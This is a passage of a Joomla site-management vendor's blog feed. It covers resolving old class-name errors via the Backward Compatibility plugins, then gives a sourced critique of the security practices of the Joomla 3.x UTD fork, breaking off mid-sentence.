&lt;p&gt;The most common is that Classes Aliases is off. On Joomla 6 the plugin has three options, and only Classes Aliases loads the old J-prefixed names. The other two, Include Deprecated Classes and Removed Assets, cover the &lt;code&gt;Input&lt;/code&gt; and &lt;code&gt;Filesystem&lt;/code&gt; classes Joomla 6 dropped and some removed JavaScript assets. A fresh Joomla 6 install has Classes Aliases set to No, so enabling the plugin restores the deprecated classes and none of the aliases. This is the answer to a long run of forum threads where someone on a new Joomla 6.1 site enabled the plugin and nothing changed.&lt;/p&gt;
&lt;p&gt;Next is a cached plugin list. With System Cache on, Joomla can keep serving the old list of enabled plugins after a database change. Clearing &lt;code&gt;cache/com_plugins&lt;/code&gt; fixes it, and the script above does that for you.&lt;/p&gt;
&lt;p&gt;Last, the class may have no alias at all, which is the next section.&lt;/p&gt;
&lt;h2&gt;Joomla class names no plugin can bring back&lt;/h2&gt;
&lt;p&gt;Some old names were never in either alias list. They were real classes in Joomla 3, removed in Joomla 4.0, and no version of the Backward Compatibility plugin defines them:&lt;/p&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Error message&lt;/th&gt;&lt;th&gt;What it was&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JDispatcher&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Joomla 2.5’s event dispatcher, kept as a deprecated stub in Joomla 3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JEventDispatcher&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Joomla 3’s event dispatcher&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JRequest&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Joomla 1.5 to 3 request input, replaced by &lt;code&gt;JInput&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JError&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Joomla 1.5 to 3 error handling&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JApplication&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The legacy application class&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JDatabase&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The pre-3.0 database class&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JArrayHelper&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Array utilities, moved to the Joomla Framework&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JString&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;String utilities, moved to the Joomla Framework&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class &quot;JSite&quot; not found&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The old site application alias&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Seeing one of these means the extension was written for Joomla 3 or earlier and has not been touched since, often on a site that was migrated rather than rebuilt. Smart Slider 2 leftovers, old Search plugins and abandoned gallery extensions are typical sources. There is nothing to switch on, so update the extension to a version written for your Joomla, replace it, or uninstall it. If the site is still on Joomla 3, the &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;options for staying, patching or moving&lt;/a&gt; are laid out on joomla3security.com, and our post on &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migrating from Joomla 3&lt;/a&gt; covers the extension audit to do first.&lt;/p&gt;
&lt;h2&gt;Fixing the Joomla extension for good&lt;/h2&gt;
&lt;p&gt;The compatibility plugin keeps the site up today. Joomla’s own source comments say the Joomla 6 alias list “will likely be removed in Joomla 7.0”, and a &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47915&quot;&gt;change merged into the Joomla 7.0 branch&lt;/a&gt; in June 2026 already removes Backward Compatibility 6 in favour of a Backward Compatibility 7. An extension that only runs because of Classes Aliases is due to break again at the next major version.&lt;/p&gt;
&lt;p&gt;In order of preference:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Update the extension. Most maintained extensions dropped the old names years ago. Check the vendor’s site or the &lt;a href=&quot;https://extensions.joomla.org/&quot;&gt;Joomla Extensions Directory&lt;/a&gt; for a release that lists your Joomla version, and update to it while the plugin is still on.&lt;/li&gt;
&lt;li&gt;Ask the vendor. If no update exists, send them the file path from the stack trace and point them at the &lt;a href=&quot;https://manual.joomla.org/updates/54-60/compat-plugin/&quot;&gt;Joomla 5.4 to 6.0 compatibility notes&lt;/a&gt;. The fix is usually a handful of &lt;code&gt;use&lt;/code&gt; statements.&lt;/li&gt;
&lt;li&gt;Replace it. An extension still calling &lt;code&gt;JDispatcher&lt;/code&gt; or &lt;code&gt;JRequest&lt;/code&gt; in 2026 is abandoned, and abandoned code is a security risk as well as a compatibility one. Our &lt;a href=&quot;https://mysites.guru/tools/extensions-and-plugins/&quot;&gt;extension management tools&lt;/a&gt; show which sites run it, so you can plan the replacement across all of them.&lt;/li&gt;
&lt;li&gt;Patch it yourself, as a last resort. For your own code, or to buy time, replace the old names with the modern ones from the first table: &lt;code&gt;extends JPlugin&lt;/code&gt; becomes &lt;code&gt;extends \Joomla\CMS\Plugin\CMSPlugin&lt;/code&gt;, &lt;code&gt;JFactory::getApplication()&lt;/code&gt; becomes &lt;code&gt;\Joomla\CMS\Factory::getApplication()&lt;/code&gt;, &lt;code&gt;JComponentHelper::getParams()&lt;/code&gt; becomes &lt;code&gt;\Joomla\CMS\Component\ComponentHelper::getParams()&lt;/code&gt;. A patched third-party extension is overwritten by its next update, so keep a note of what you changed.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;p&gt;Stuck at the Joomla 6 pre-update check&lt;/p&gt;&lt;div&gt;&lt;p&gt;If the only thing between a Joomla 5.4 site and Joomla 6 is an extension that breaks without the old plugin, and the vendor has a Joomla 6 release but not a Joomla 5 one, there is a clean way through: disable that extension, disable Behaviour - Backward Compatibility, run the upgrade, then install the vendor’s Joomla 6 build. Disabling the extension first means the site keeps working while the old plugin is off. Take a backup before any of it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Finding these Joomla extensions before they break a site&lt;/h2&gt;
&lt;p&gt;Every figure below is from the latest snapshot of each Joomla site in the mySites.guru database over the past 90 days, as of 12 October 2026.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;97.8%&lt;/div&gt;&lt;div&gt;of Joomla 5 sites still have the old Backward Compatibility plugin on&lt;/div&gt;&lt;div&gt;Joomla 6 will not install until it is off&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;84.2%&lt;/div&gt;&lt;div&gt;of Joomla 6 sites still have Backward Compatibility 6 on&lt;/div&gt;&lt;div&gt;Expected to be removed in Joomla 7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;1.8%&lt;/div&gt;&lt;div&gt;of Joomla 6 sites still have the Joomla 5 plugin enabled&lt;/div&gt;&lt;div&gt;The Joomla 6 upgrade normally uninstalls it&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Plan around the first number. Nearly every Joomla 5 site we monitor still runs with the old aliases loaded, so almost none of them have been tested without them yet. When those sites go through the Joomla 6 pre-update check, any site with an extension like this breaks at that moment, usually in the middle of a maintenance window that was booked as a routine upgrade.&lt;/p&gt;
&lt;p&gt;Testing without the plugin on staging works for one site. For thirty, it is a week of work. mySites.guru does it in three steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Scan for the old names. On Joomla 4 and 5 sites, the audit check “Check Files That May Need Joomla 5 Compatibility Plugin (Beta)” searches every file on the site for the retired class names and flags the ones that use them, so you can open the list in the file manager and see which extensions they belong to before switching anything off.&lt;/li&gt;
&lt;li&gt;See the plugin state everywhere. The &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Compatibility Checker&lt;/a&gt; shows the Backward Compatibility plugin state beside each site’s PHP version, database version and update channel, colour-coded against the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Switch it from one place. The toggle on each site’s audit, or the all-sites page for each check, turns either plugin on or off without logging in, and turns it back on if something breaks.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/needscompat&quot;&gt;Find files that still use Joomla&apos;s old class names&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/needscompat&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;All of this is part of every &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscription&lt;/a&gt;, with unlimited sites. If you are working through a set of Joomla 5.4 sites before support for bug fixes ends, &lt;a href=&quot;https://mysites.guru/blog/joomla-6-2-requirements-changes-extension-compatibility/&quot;&gt;the Joomla 6.2 post&lt;/a&gt; has the rest of the upgrade picture. Check each site’s update channel too, so nothing &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;jumps to the next major version by accident&lt;/a&gt; while you are still clearing extensions.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/updates/44-50/compat-plugin/&quot;&gt;Compatibility plugin, Joomla 4.4 to 5.0&lt;/a&gt; - the Joomla 5 Backward Compatibility plugin and its options, from the Joomla manual&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/updates/54-60/compat-plugin/&quot;&gt;Compatibility plugin, Joomla 5.4 to 6.0&lt;/a&gt; - why Backward Compatibility 6 is required for the upgrade and disabled on new installs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/updates/44-50/removed-backward-incompatibility/&quot;&gt;Removed backward compatibility, 4.4 to 5.0&lt;/a&gt; - every API Joomla 5 dropped from the core&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/updates/54-60/removed-backward-incompatibility/&quot;&gt;Removed backward compatibility, 5.4 to 6.0&lt;/a&gt; - the Joomla 6 equivalent&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/6.1.4/plugins/behaviour/compat6/src/classmap/classmap.php&quot;&gt;The Joomla 6 classmap&lt;/a&gt; - the full list of old names and the classes they point at&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 5</category><category>joomla 6</category><category>extensions</category><category>compatibility</category><category>upgrade</category><enclosure url="https://mysites.guru/img/og/blog/joomla-class-jplugin-not-found.png" length="0" type="image/png"/></item><item><title>What is Joomla 3.x UTD (And why you don&apos;t need it)</title><link>https://mysites.guru/blog/what-is-joomla-3x-utd/</link><guid isPermaLink="true">https://mysites.guru/blog/what-is-joomla-3x-utd/</guid><description>Joomla 3.x UTD is a one-developer fork of Joomla 3 sold as secure. It has unsigned updates, its own security bugs and no way back to Joomla.</description><pubDate>Mon, 12 Oct 2026 15:01:44 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://j3xutd.joomlaworks.net/&quot;&gt;Joomla 3.x UTD&lt;/a&gt; describes itself as “an up-to-date distribution of the Joomla 3.x content management system, built to ensure code security, support modern PHP &amp;amp; MySQL/MariaDB versions &amp;amp; fix any broken behaviour that never got sorted before the release of newer major versions of Joomla.”&lt;/p&gt;
&lt;p&gt;Its website goes further. Under the headline “secure, current &amp;amp; still yours”, it says UTD “keeps those sites secure and current” and “breathes new life into them”, which pitches it as the rescue for every Joomla 3 site left behind after support ended.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-3x-utd-homepage.Bg9E0-on_Z1YEuz1.webp&quot; alt=&quot;The Joomla 3.x UTD homepage at j3xutd.joomlaworks.net on 12 October 2026: a J3 UTD logo with a four-colour cross, the headline &apos;Joomla 3.x UTD: secure, current &amp;amp; still yours&apos;, the line &apos;kept up to date by the community&apos;, Download v3.17 and See what&apos;s new buttons, and an install command that downloads joomla-latest.zip from the rolling GitHub release&quot; loading=&quot;lazy&quot; width=&quot;1440&quot; height=&quot;900&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The Joomla 3.x UTD homepage on 12 October 2026.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The project behind that pitch is a hard fork of Joomla 3.10.20 eLTS, published by JoomlaWorks (the company behind K2) in April 2026 and written by one developer with an AI assistant. It ships at a pace that has already put its own security bugs onto live sites. Open Source Matters, Inc. and The Joomla! Project do not make it, endorse it or support it, as the project’s own footer says.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Joomla 3.x UTD is not an official Joomla product name or version.&lt;/p&gt;&lt;div&gt;&lt;p&gt;It is a complete fork of end-of-life Joomla 3 code by a third party, JoomlaWorks Ltd. The Joomla project has never released a version 3.11 or later, and Open Source Matters and the Joomla project do not make, endorse or support it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We covered UTD briefly in &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;Joomla 3 Didn’t Fail. Your Retainer Did.&lt;/a&gt;, alongside the other projects trying to keep Joomla 3 alive. This post looks at it properly. Everything below comes from the public repository at &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x&quot;&gt;github.com/joomlaworks/joomla-3.x&lt;/a&gt;, its website at &lt;a href=&quot;https://j3xutd.joomlaworks.net/&quot;&gt;j3xutd.joomlaworks.net&lt;/a&gt;, and JoomlaWorks’ own blog. Each point links to its source.&lt;/p&gt;
&lt;h2&gt;But why this blog post?&lt;/h2&gt;
&lt;p&gt;Because people are confused. Most Joomla 3 site owners have no interest in the politics between a fork and the official project, or in whose policy says what. They want stability, and some assurance that their site will keep running safely. A shiny website promising Joomla 3 a long and secure future offers exactly that, and it is easy to believe. If that promise rests on one developer and falls through, the owners who trusted it are worse off than when they started: the site still needs migrating, and there is less time to do it.&lt;/p&gt;
&lt;p&gt;People need clarity, so this post sets out who makes UTD and what it does and does not do, and links the source for each point so you can check it yourself.&lt;/p&gt;
&lt;h2&gt;Where did Joomla 3.x UTD come from?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://joomla3security.com/timeline/&quot;&gt;Official Joomla 3 support ended on 17 August 2023&lt;/a&gt;. The paid &lt;a href=&quot;https://elts.joomla.org/&quot;&gt;Joomla 3 eLTS programme&lt;/a&gt; added 18 months of security fixes and ended on 17 February 2025.&lt;/p&gt;
&lt;p&gt;The repository was created on 20 April 2026. Its first commits are “Initial upload for Joomla 3.10.20 eLTS”, followed minutes later by “Initial upload of Joomla v3.11”. Seven releases followed in under six months, numbered 3.11 to 3.17, the latest dated 10 October 2026.&lt;/p&gt;
&lt;h2&gt;“Secure” is the headline, so start there&lt;/h2&gt;
&lt;p&gt;“Secure” is the first word of UTD’s headline, and security is the reason anyone would run a Joomla 3 fork instead of migrating. So that is where it has to be judged, and it is where it is weakest.&lt;/p&gt;
&lt;p&gt;Look at the chain that keeps a CMS site safe: who writes and reviews the fixes, how a vulnerability gets reported, how updates reach the site, and whether they can be checked when they get there. Official Joomla has a team at each step. Reports go privately to the Joomla Security Strike Team (JSST), who confirm them, fix them with the core maintainers, and publish an advisory with the release. I have reported Joomla core vulnerabilities through that process myself. Update packages come with checksums, and since Joomla 5.1 they are signed with TUF.&lt;/p&gt;
&lt;p&gt;UTD has one developer and an AI assistant at every step. No one reviews the fixes. There is no private way to report a vulnerability. Updates are an unsigned zip, rebuilt on every commit and published with no checksum. Its own changes have already added a security hole, and the servers it tells owners are fine are years past their own security support. The sections below take these one at a time.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;div&gt;Developer&lt;/div&gt;&lt;div&gt;Every one of 158 commits&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;0&lt;/div&gt;&lt;div&gt;Checksums in the update feed&lt;/div&gt;&lt;div&gt;Official Joomla publishes three&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;div&gt;Little WAF filters&lt;/div&gt;&lt;div&gt;None for SP Page Builder&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;div&gt;Rebuilds of the stable zip&lt;/div&gt;&lt;div&gt;Since 10 October 2026&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Read from the joomlaworks/joomla-3.x repository and its update feed on 12 October 2026.&lt;/p&gt;&lt;/div&gt;
&lt;h3&gt;The core is not what is getting Joomla 3 sites hacked&lt;/h3&gt;
&lt;p&gt;Even a perfect core fork would miss where the damage comes from. In &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;Joomla 3 Didn’t Fail. Your Retainer Did.&lt;/a&gt; we measured the Joomla 3 sites connected to mySites.guru on 28 August 2026: 4.90% were &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;flagged as hacked&lt;/a&gt; against 0.98% on Joomla 6, and 22.3% were running at least one &lt;a href=&quot;https://joomla3security.com/extension-vulnerabilities/&quot;&gt;extension with a known published vulnerability&lt;/a&gt;. The most common were YOOtheme Installer, Regular Labs’ Cache Cleaner and Advanced Modules, SP Page Builder and JCE, and for six of the eight most common, the 2026 fix cannot be applied on Joomla 3 at all.&lt;/p&gt;
&lt;p&gt;UTD’s answer to the extension problem is the Little WAF, a plugin added in 3.16 that its website says “filters known attack signatures against abandoned or historically vulnerable third-party extensions”. That sounds broad. The code in &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x/blob/main/plugins/system/littlewaf/littlewaf.php&quot;&gt;&lt;code&gt;plugins/system/littlewaf/littlewaf.php&lt;/code&gt;&lt;/a&gt; has exactly two filters, and it has had only those two since it first shipped: one blocks Regular Labs Sourcerer’s &lt;code&gt;{source}&lt;/code&gt; tag in requests, the other blocks Modules Anywhere’s &lt;code&gt;{module}&lt;/code&gt; and &lt;code&gt;{modulepos}&lt;/code&gt; tags. Both target real problems, and &lt;a href=&quot;https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/&quot;&gt;Sourcerer’s&lt;/a&gt; &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt; was being exploited when the filter was written. The plugin is also disabled by default, and its own description says it is “not a substitute for updating or removing the vulnerable extension itself”.&lt;/p&gt;
&lt;p&gt;That leaves everything else in the table above. There is no filter for SP Page Builder, including the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;&lt;code&gt;uploadCustomIcon&lt;/code&gt; file upload flaw&lt;/a&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;) that was exploited in the wild, or the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;unauthenticated SQL injection&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;file inclusion&lt;/a&gt; holes that followed it. I reported those to JoomShaper myself, 14 SP Page Builder vulnerabilities in all this year, and SP Page Builder 6.8.0 and later &lt;a href=&quot;https://mysites.guru/blog/joomshaper-drops-joomla-3-support/&quot;&gt;will not install on Joomla 3&lt;/a&gt;. There is nothing for YOOtheme or JCE either. A site owner who reads “secure, current &amp;amp; still yours” and moves a Joomla 3 site onto UTD keeps every one of those extensions, gets two tag filters if they think to switch the plugin on, and now has a core that tools cannot identify as well.&lt;/p&gt;
&lt;h3&gt;Called a community project, however the facts show it’s built by one man&lt;/h3&gt;
&lt;p&gt;The 3.17 release notes list “22 security fixes” in fourteen entries. Nine are marked “(stock Joomla 3)”. One is marked “(since 3.12)”: the &lt;code&gt;{loadmoduleid}&lt;/code&gt; tag “showed any module to anyone, whatever its access level or publishing dates”. The &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x/blob/main/CHANGELOG.md&quot;&gt;CHANGELOG&lt;/a&gt; explains that the 3.12 change letting it show modules not assigned to the current menu item “dropped those checks too”, so an author could display any module, including private ones, inside an article. The fork introduced that access-control hole on 21 May 2026 and fixed it on 10 October, and then counted the fix in its security total.&lt;/p&gt;
&lt;p&gt;Other bugs were also the fork’s own work. Every Help button in the administrator showed “not found” from 3.11 to 3.17, because the new version numbers point at help screens that do not exist on joomla.org. The Little WAF plugin added in 3.16 showed no version, date or author on upgraded sites, and was fixed a week later in 3.17. The issue tracker has “SEF canonical tags gone after J 3.14 update” (#16), “redirect after updating to 3.13” (#6), “install 3.15 when banners component has been removed results in an error” (#18) and “Beez3 not fully removed” (#7).&lt;/p&gt;
&lt;p&gt;The security page has the same problem. Most of the CVE IDs it lists resolve on cve.org, but “CVE-2026-352212” (described as a com_tags SQL injection) does not exist. If an ID on a security list does not resolve, you cannot check that the fix it describes is the fix you think you have.&lt;/p&gt;
&lt;p&gt;Seven releases in under six months, two of them a week apart, with breaking changes in minor versions, regressions reported after updates and a security hole of the fork’s own making. That is sloppy release engineering, and we say it is one man’s work on purpose. The project’s own website says it is “kept up to date by the community” and calls itself “an independent community project”, yet we can find no evidence of any community writing the code. Every commit comes from Fotis Evangelou’s account, the only pull request from anyone else was closed without being merged, and no change has been through a reviewed pull request (&lt;a href=&quot;#kept-up-to-date-by-the-community&quot;&gt;the repository numbers are below&lt;/a&gt;). A community project implies other people review a change before it ships, and here no one does, which is how a fork ends up counting the fix for its own security hole in its security total. Joomla 3 sites need careful maintenance far more than they need a new installer and an MCP server.&lt;/p&gt;
&lt;h3&gt;Security fixes no one else has checked&lt;/h3&gt;
&lt;p&gt;UTD says it backports &lt;a href=&quot;https://joomla3security.com/core-vulnerabilities/&quot;&gt;Joomla core security fixes&lt;/a&gt; from Joomla 5 and 6, and also fixes “issues listed upstream as affecting only Joomla 4.0 and later”. For one template manager XSS it says it fixed “three code paths” where “the official fix covered one”. It may be right, but no one outside the project has checked. When the JSST fixes a core vulnerability, the fix is reviewed by more than one person and released alongside a public advisory. A UTD backport is one developer’s port, with an AI assistant, of a patch written for a different codebase, pushed straight to main and then to every site that updates. The changelog shows how that can go wrong: the &lt;code&gt;{loadmoduleid}&lt;/code&gt; hole above was introduced by a UTD change. When we backport a Joomla 3 fix, we &lt;a href=&quot;https://mysites.guru/blog/joomla-3-security-fixes-verified-on-3-10-12/&quot;&gt;publish how we verified it against 3.10.12&lt;/a&gt; so anyone can check our work.&lt;/p&gt;
&lt;h3&gt;Backports arrive weeks after the attackers know&lt;/h3&gt;
&lt;p&gt;A backport can only start once the fix is public. UTD is not part of the Joomla security process, so it gets no advance notice of a vulnerability: it sees the fix when Joomla publishes the patched release and its advisory, at the same moment as everyone else, including the people who read advisories to find sites to attack. A site on official Joomla 5 or 6 can update that day. A UTD site waits for one developer to port the fix to a different codebase and ship a release.&lt;/p&gt;
&lt;p&gt;UTD’s own security list shows how long that takes. Joomla’s 26 May 2026 security release fixed a local file inclusion in the &lt;code&gt;HTMLView&lt;/code&gt; layout parameter (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40383&quot;&gt;CVE-2026-40383&lt;/a&gt;), an XSS in content history (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-30894&quot;&gt;CVE-2026-30894&lt;/a&gt;) and a transport encryption downgrade (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48902&quot;&gt;CVE-2026-48902&lt;/a&gt;). UTD shipped those fixes in 3.15 on 18 July, 53 days later. In between it released 3.13 on 31 May and 3.14 on 4 July, and neither included them: 3.14 was PHP 8.5 deprecation fixes and language file versioning. The fixes from Joomla’s 7 July release followed in 3.15 eleven days after they were published, and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21631&quot;&gt;CVE-2026-21631&lt;/a&gt;, published on 1 April, waited until 3.12 on 21 May. For seven weeks in the middle of 2026, a fully updated UTD site was missing a published file inclusion fix that every updated Joomla 5 and 6 site already had.&lt;/p&gt;
&lt;h3&gt;No tests and no build tooling&lt;/h3&gt;
&lt;p&gt;The official Joomla repository comes with the scaffolding that lets anyone check a change before it ships. The &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/3.10.12&quot;&gt;Joomla 3.10.12 tag&lt;/a&gt; has a &lt;code&gt;tests/&lt;/code&gt; folder with unit, Codeception and JavaScript tests, a &lt;code&gt;phpunit.xml.dist&lt;/code&gt; to run them, Drone CI configuration that runs them on every pull request, and a &lt;code&gt;build/&lt;/code&gt; folder with the release script, the deleted-file check and the coding standard. It also has a &lt;code&gt;composer.json&lt;/code&gt; and &lt;code&gt;composer.lock&lt;/code&gt;, which record exactly which versions of the bundled third-party libraries a release uses and let a maintainer update them.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x&quot;&gt;UTD repository&lt;/a&gt; has none of it. There is no &lt;code&gt;tests/&lt;/code&gt; folder, no PHPUnit configuration, no CI beyond the workflow that zips the main branch, no &lt;code&gt;build/&lt;/code&gt; folder and no root &lt;code&gt;composer.json&lt;/code&gt;. It still ships the 580 files of &lt;code&gt;libraries/vendor&lt;/code&gt; that Joomla 3 bundled, but without the Composer files no one can rebuild or update those libraries in a reproducible way. Every change, including every security backport, goes from one developer’s editor to every site that updates without a single automated test running in between.&lt;/p&gt;
&lt;h3&gt;Updates no one can verify&lt;/h3&gt;
&lt;p&gt;Sites get UTD updates from &lt;code&gt;joomlaworks.github.io/joomla-3.x/extension.xml&lt;/code&gt;. It offers “Joomla! 3.17.0”, tagged &lt;code&gt;stable&lt;/code&gt;, and the download is &lt;code&gt;releases/download/rolling/joomla-latest.zip&lt;/code&gt;. The project’s own workflow, &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x/blob/main/.github/workflows/rolling-release.yml&quot;&gt;&lt;code&gt;.github/workflows/rolling-release.yml&lt;/code&gt;&lt;/a&gt;, deletes and rebuilds that zip “on every push to main”. Version 3.17.0 is therefore whatever the main branch looked like at the last commit, and it has been rebuilt ten times since 10 October. There is no release branch, no release candidate and no test stage between a commit and your live site. You cannot download an earlier version to roll back to either: the v3.15 release on GitHub has no package attached.&lt;/p&gt;
&lt;p&gt;Those packages also cannot be checked. Joomla’s own update feed publishes a SHA-256, SHA-384 and SHA-512 checksum for every package, and UTD still has the code that checks them (&lt;code&gt;isChecksumValid()&lt;/code&gt; in &lt;code&gt;com_joomlaupdate/models/default.php&lt;/code&gt;), but its feed gives no checksums to check against. It could not, because the zip changes with every commit. Since Joomla 5.1, official core updates are also signed with &lt;a href=&quot;https://theupdateframework.io/&quot;&gt;TUF (The Update Framework)&lt;/a&gt;. A UTD site installs whatever unsigned zip one GitHub account last produced, so anyone who gets into that account can push code to every UTD site that updates.&lt;/p&gt;
&lt;h3&gt;“Secure”, on servers that are not&lt;/h3&gt;
&lt;p&gt;The README says sites on PHP 7.1 to 7.3 “will still be offered updates to this distribution”, with PHP 7.4 as a recommendation rather than a requirement. PHP 7.1, 7.2 and 7.3 have had &lt;a href=&quot;https://www.php.net/eol.php&quot;&gt;no security support&lt;/a&gt; for years, which is why we &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;flag the PHP version on every site&lt;/a&gt;. The minimum databases are MySQL 5.5.3, MariaDB 5.5 and SQL Server 2008 R2, all long out of support. Telling owners that a site on an unpatched server is “secure” because the CMS code is patched gets the risk the wrong way round. UTD’s core audience is already there: JoomlaWorks’ own &lt;a href=&quot;https://metrics.getk2.org/&quot;&gt;K2 telemetry&lt;/a&gt; puts 92.7% of active K2 sites on PHP older than 8.2.&lt;/p&gt;
&lt;h3&gt;It can hide sites from vulnerability scanners&lt;/h3&gt;
&lt;p&gt;Vulnerability rules for Joomla core, including &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;the ones mySites.guru checks every site against&lt;/a&gt;, are written against Joomla’s own version ranges, for example “3.0.0 to 3.10.x”. A UTD site reports “Joomla! 3.17.0”, which sits outside every one of those ranges. A scanner will report it as unaffected or as unknown, whether or not the fix is actually in its code, and UTD’s own changelog admits the numbering “would also ‘trip’ some scanners”. We see this from the inside, because mySites.guru is an inventory tool: a site reporting a version that never existed is a site we cannot tell you is safe or unsafe. We have already watched the same failure on a smaller scale, when JoomShaper reused one version string across two different security releases and &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;no inventory tool could tell a patched site from an unpatched one&lt;/a&gt;. UTD has that problem for the whole core, permanently and by design. A distribution sold on security should not make its sites 